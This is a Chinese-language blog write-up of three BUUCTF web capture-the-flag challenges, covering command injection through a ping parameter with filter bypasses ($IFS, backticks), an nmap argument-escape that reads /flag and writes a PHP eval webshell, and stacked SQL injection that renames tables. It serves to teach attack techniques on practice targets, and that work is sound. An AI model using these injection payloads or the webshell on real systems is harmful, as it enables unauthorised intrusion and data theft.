buuctf - web - write up(待更新
[GXYCTF2019]Ping Ping Ping
发现是可以根据ip的值来进行传递
先看看有什么文件在路径下
1 | url/?ip=127.0.0.1;ls |
直捣黄龙,cat flag.php,发现过滤了空格
过滤空格的操作(这些姿势来自网上的师傅,受教了
1 2 3 4 5 6 7 8 | $IFS ${IFS} $IFS $1 //$1改成$加其他数字都可以 $< $<> {cat,flag.php} //用逗号实现了空格的功能 %20 %09 |
//payload url/?ip=127.0.0.1;cat$IFS$1flag.php
发现flag又被过滤了,看看index.php文件
url/?ip=127.0.0.1;cat$IFS$1index.php

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
发现flag四个字符的拼接方式都被过滤了
方法一:
使用$a 任意字符覆盖的方法,获得flag
//payload url/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
方法二:网上师傅的姿势yyds
//payload url/?ip=127.0.0.1;cat$IFS$9`ls`
将
ls
的结果当成cat的参数,那样就不用出现flag这个参数了。
拓展补充:
A&B: 顺序执行多条命令,而不管命令是否执行成功
A&&B: 顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令
A|B: 管道命令,如:dir *.* /s/a | find /c \".exe\" 表示:先执行 dir 命令,对其输出的结果执行后面的 find 命令
A||B: 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
命令执行漏洞利用(其中'&&'可进行替换):
127.0.0.1 && dir 文件路径
127.0.0.1 && ipconfig 网卡
127.0.0.1 && arp -a arp表
127.0.0.1 && regedit 注册表
127.0.0.1 && netstat -ano 端口信息
Web - [网鼎杯 2020 朱雀组]Nmap
考察点:单引号逃逸、nmap写文件、-iL读取扫描文件、escapeshellarg绕过
打开是nmap的命令
nmap命令:
//url
nmap写文件:
- -oN 标准保存
- -oX XML保存
- -oG Grep保存
- -oA 保存到所有格式
-iL扫描读取文件
1 | -iL 参数可以实现NMAP读取任意文件的操作 |
escapeshellarg()
1 2 3 4 5 6 | 假设传入的参数为 127.0.0.1‘ -a -b -c x=1 通过 escapeshellarg 函数处理过后, 变成 127.0.0.1’\‘ ' -a -b -c x=1' 简而言之就是将其中的单引号转义,然后再用单引号将内容给包含起来 |
那么由上面的知识点形成的payload如下:
payload1
//payload 1 //注意单引号为英文下的字符 //利用了-iL的任意读文件后保存在目录下 127.0.0.1 | ‘ -iL /flag -oN 1.txt ’
访问1.txt,即可查看到flag
payload2
//payload 2 //既然可以传入,那么是不是可以传入一句话木马 127.0.0.1 | ' <?php @eval($_POST["hack"]);?> -oG hack.php ' //发现php被过滤了,“=”即为短标签,可以绕过php的过滤 127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG 2.phtml '
访问2.phtml 即可看见正常传入
使用蚁剑连接,根目录下发现flag文件
Web - 强网杯2019[随便注]
涉及考点:堆叠注入
先尝试
1 2 | 1' order by 2;# //有反馈 1' order by 3;# //报错 |
看看有什么表
1 | 1';show tables;# //#的作用是把后面的sql语句注释掉 |
发现了两个表,看一下表内有什么
tips:如果查看的表名是字符型(数字)的话,需要添加反引号,即波浪线(~)这个按键
小结:
words有两个属性,id \ data
1911****** 只有一个属性flag
由此可以得出,输入框查询的内容就是words表的内容
攻击姿势:
//payload1
//利用更换表明的操作
1';rename table `words` to words2; //将words改名为words2
rename table `1919810931114514` to `words`; //将191******改名为words
alter table words change flag id varchar(100); //将改名后的191****添加一列id
show tables; //显示表的内容
show columns from words;# //查询words的字段
//然后用万能密码查询出答案 1‘ or 1=1;#
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现